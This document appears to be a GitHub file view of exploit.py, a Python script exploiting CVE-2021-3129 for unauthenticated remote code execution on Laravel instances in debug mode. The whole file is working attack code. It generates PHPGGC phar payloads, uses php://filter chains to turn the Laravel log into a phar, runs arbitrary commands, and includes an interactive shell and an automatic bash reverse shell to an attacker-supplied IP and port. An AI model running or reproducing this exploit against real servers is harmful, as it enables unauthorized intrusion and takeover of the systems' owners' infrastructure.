/
exploit.py
179 lines (159 loc) · 7.12 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#!/usr/bin/env python3
import requests, re, argparse, string, random, subprocess, os, sys, base64
from subprocess import getoutput, check_call
from termcolor import colored
def print_message(message, type):
if type == 'SUCCESS':
print('[' + colored('SUCCESS', 'green') + '] ' + message)
elif type == 'INFO':
print('[' + colored('INFO', 'blue') + '] ' + message)
elif type == 'WARNING':
print('[' + colored('WARNING', 'yellow') + '] ' + message)
elif type == 'ALERT':
print('[' + colored('ALERT', 'yellow') + '] ' + message)
elif type == 'ERROR':
print('[' + colored('ERROR', 'red') + '] ' + message)
def get_normalized_url(url):
if url[-1] != '/':
url += '/'
if url[0:7].lower() != 'http://' and url[0:8].lower() != 'https://':
url = "http://" + url
return url
def get_proxy_protocol(url):
if url[0:8].lower() == 'https://':
return 'https'
return 'http'
def send_viewfile(url, payload):
headers = {
"Accept": "application/json"
}
data = {
"solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
"parameters": {
"variableName": "Payload",
"viewFile": payload
}
}
try:
request = requests.post(url, json=data, headers=headers, proxies=proxies, verify=False)
except Exception as e:
print_message("An error occurred during exploitation", "ERROR")
print(e)
exit()
return request
def generate_payload(command, phpggc, chain):
generate_payload_command = "php -d'phar.readonly=0' {phpggc} '{chain}' system '{command}' --phar phar -o php://output | base64 -w0 | sed -E 's/./\\0=00/g; s/==/=3D=/g; s/$/=00/g'"
command = generate_payload_command.format(phpggc=phpggc, chain=chain, command=command)
try:
payload = subprocess.getoutput(command)
except Exception as e:
print_message("Failed to generate payload", "ERROR")
print(e)
exit()
return payload
def clear_log_file(url):
clear_log_viewfile = "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
while (send_viewfile(url,clear_log_viewfile).status_code != 200):
continue
def convert_log_file_to_phar(url):
payload = "php://filter/read=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
send_viewfile(url, payload)
def read_log(url):
payload = "phar://../storage/logs/laravel.log"
request = send_viewfile(url, payload)
return request.text
def get_command_output(raw_log):
result = re.sub("{[\s\S]*}", "", raw_log).strip()
return result
def execute_command(url, command, phpggc, chain):
clear_log_file(url)
send_viewfile(url, "")
raw_command = command + ' '
command_bytes = raw_command.encode('utf-8')
command_base64 = base64.b64encode(command_bytes).decode('utf-8')
command_encoded = 'echo {base64} | base64 -d | bash | base64'.format(base64=command_base64)
payload = generate_payload(command_encoded, phpggc, chain)
send_viewfile(url, payload)
convert_log_file_to_phar(url)
log_content = read_log(url)
result_base64 = get_command_output(log_content)
result_base64_bytes = result_base64.encode('utf-8')
result = base64.b64decode(result_base64_bytes).decode('utf-8').strip()
clear_log_file(url)
return result
parser = argparse.ArgumentParser(description='Exploit for CVE-2021-3129: Unauthenticated RCE for Laravel <8.4.2 in debug mode')
parser.add_argument('URL', type=str,
help='Base URL of Apache Tomcat (Example: http://127.0.0.1:8080/)')
parser.add_argument('-P', '--proxy', type=str,
help='Proxy for requests (Default: Disabled)')
parser.add_argument('-C', '--chain', type=str, default='Monolog/RCE1',
help='Chain to use for PHPGGC (Default: Monolog/RCE1)')
parser.add_argument('-g', '--phpggc', type=str, default='./phpggc/phpggc',
help='Location of phpggc (Default: ./phpggc/phpggc)')
parser.add_argument('-i', '--atk-ip', type=str,
help='IP address for automatic reverse shell (Default: Disabled)')
parser.add_argument('-p', '--atk-port', type=str,
help='Port for automatic reverse shell (Default: Disabled)')
parser.add_argument('-x', '--command', type=str,
help='Single command to execute (Default: Disabled)')
parser.add_argument('-c', '--check', action='store_true',
help='Check vulnerability with minimal exploitation (Default: Disabled)')
args = parser.parse_args()
base_url = get_normalized_url(args.URL)
url = "{base}_ignition/execute-solution".format(base=base_url)
if args.proxy:
proxy_url = get_normalized_url(args.proxy)
proxy_protocol = get_proxy_protocol(proxy_url)
proxies = { proxy_protocol: proxy_url }
else:
proxies = {}
try:
request = requests.get(url, proxies=proxies)
except Exception as e:
print_message('Could not connect to "{url}"'.format(url=url), "ERROR")
exit()
else:
print_message('Connected to "{url}" successfully!'.format(url=url), "SUCCESS")
if os.path.exists(args.phpggc):
print_message('Found PHPGGC at "{phpggc}"'.format(phpggc=args.phpggc), "INFO")
elif args.phpggc == "./phpggc/phpggc":
print_message('Cloning PHPGGC from Github', "INFO")
phpggc_git_url = 'https://github.com/ambionics/phpggc.git'
command = 'git clone "{url}"'.format(url=phpggc_git_url)
try:
output = subprocess.getoutput(command)
except:
print_message('Failed to download PHPGGC from Github', "ERROR")
exit()
else:
print_message('Downloaded PHPGGC from Github', "INFO")
else:
print_message('Could not find PHPGGC at the provided location', "ERROR")
exit()
user = execute_command(url, "whoami", args.phpggc, args.chain)
if user == "":
print_message('Could not exploit the system...', "ERROR")
exit()
else:
print_message('System successfully exploited!', "SUCCESS")
print_message('Laravel is running as "{user}"!'.format(user=user), "SUCCESS")
if args.check:
print_message('The Laravel instance appears to be vulnerable!', "ALERT")
print_message('Remove -c from your command if you wish to exploit the system!', "INFO")
exit()
if args.atk_ip and args.atk_port:
print_message('Running reverse shell. Check your listener!', "INFO")
reverse_shell = "bash -c 'exec bash -i &>/dev/tcp/{ip}/{port} <&1'".format(ip=args.atk_ip,port=args.atk_port)
result = execute_command(url, reverse_shell, args.phpggc, args.chain)
elif args.command:
print_message('Running your command: "{command}"!'.format(command=args.command), "INFO")
result = execute_command(url, args.command, args.phpggc, args.chain)
print(result)
else:
print_message('Please enter your command below!', "INFO")
while True:
input_command = input(colored('>>', 'green'))
if input_command in {'q','exit','quit','exit()','quit()'}:
exit()
result = execute_command(url, input_command, args.phpggc, args.chain)
print(result)